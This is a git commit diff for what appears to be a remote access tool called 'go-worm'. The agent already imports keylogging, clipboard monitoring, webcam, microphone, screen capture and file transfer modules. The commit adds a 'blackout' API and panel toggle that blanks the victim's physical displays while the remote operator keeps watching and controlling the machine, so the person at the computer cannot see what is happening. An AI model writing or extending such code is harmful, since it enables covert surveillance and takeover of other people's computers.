feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol
This commit is contained in:
2026-09-02 13:32:21 +03:00
parent 45f345123d
commit 149fcde379
16 changed files with 557 additions and 28 deletions
+3
View File
@@ -11,6 +11,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
func (a *Agent) Close() {
clipmon.Stop()
keylog.Stop()
blackout.Stop()
capture.Stop()
mic.Stop()
if a.guard != nil {
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/download", a.handleDownload)
mux.HandleFunc("/api/v1/upload", a.handleUpload)
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/mic", a.handleMic)
+29
View File
@@ -14,6 +14,7 @@ import (
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
"tea.chunkbyte.com/kato/go-worm/lib/capture"
"tea.chunkbyte.com/kato/go-worm/lib/command"
"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
if blackout.Enabled() {
w.Header().Set("X-Screen-Blackout", "1")
}
_, _ = w.Write(frame.Data)
}
func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
case http.MethodPut:
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
defer r.Body.Close()
var body struct {
Enabled *bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
return
}
if err := blackout.Set(*body.Enabled); err != nil {
helpers.Log.Printf("blackout: %v", err)
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
}
}
func parseMicDevice(r *http.Request) (int, error) {
device := 0
if raw := r.URL.Query().Get("device"); raw != "" {
+27 -1
View File
@@ -27,6 +27,7 @@
const videoStop = document.getElementById("video-stop");
const videoInteract = document.getElementById("video-interact");
const videoKeyHint = document.getElementById("video-key-hint");
const videoBlackout = document.getElementById("video-blackout");
const webcamCanvas = document.getElementById("webcam-canvas");
const webcamMeta = document.getElementById("webcam-meta");
const webcamDevice = document.getElementById("webcam-device");
@@ -680,7 +681,7 @@
const width = bitmap.width;
const height = bitmap.height;
bitmap.close();
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
}
async function sendClick(event, button) {
@@ -737,6 +738,22 @@
return false;
}
async function loadBlackout() {
const res = await api("/api/v1/blackout");
const data = await res.json();
videoBlackout.checked = Boolean(data.enabled);
}
async function setBlackoutEnabled(enabled) {
const res = await api("/api/v1/blackout", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ enabled }),
});
const data = await res.json();
videoBlackout.checked = Boolean(data.enabled);
}
function setVideoTabActive(active) {
if (videoTabActive === active) return;
videoTabActive = active;
@@ -920,6 +937,9 @@
document.getElementById(button.dataset.tab).classList.add("active");
const onVideo = button.dataset.tab === "video";
setVideoTabActive(onVideo);
if (onVideo) {
loadBlackout().catch((err) => showError(err.message));
}
if (!onVideo) {
stopVideo();
}
@@ -1028,6 +1048,12 @@
sendClick(event, "right").catch((err) => showError(err.message));
});
videoInteract.addEventListener("change", () => syncInteractable());
videoBlackout.addEventListener("change", () => {
setBlackoutEnabled(videoBlackout.checked).catch((err) => {
videoBlackout.checked = !videoBlackout.checked;
showError(err.message);
});
});
document.querySelectorAll(".mod-btn").forEach((button) => {
button.addEventListener("click", () => {
if (!videoInteract.checked) return;
+5 -1
View File
@@ -819,7 +819,7 @@
<div class="panel-head">
<div>
<h2>Remote desktop</h2>
<p class="lede">Live monitor stream. Interaction is off until you enable it.</p>
<p class="lede">Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.</p>
</div>
<div class="panel-actions">
<button id="video-start" class="primary" type="button">Start</button>
@@ -841,6 +841,10 @@
<input id="video-interact" type="checkbox">
Interactable
</label>
<label class="check">
<input id="video-blackout" type="checkbox">
Black out screen
</label>
</div>
<div class="stage">
<canvas id="video-canvas" class="view-only" width="1280" height="720"></canvas>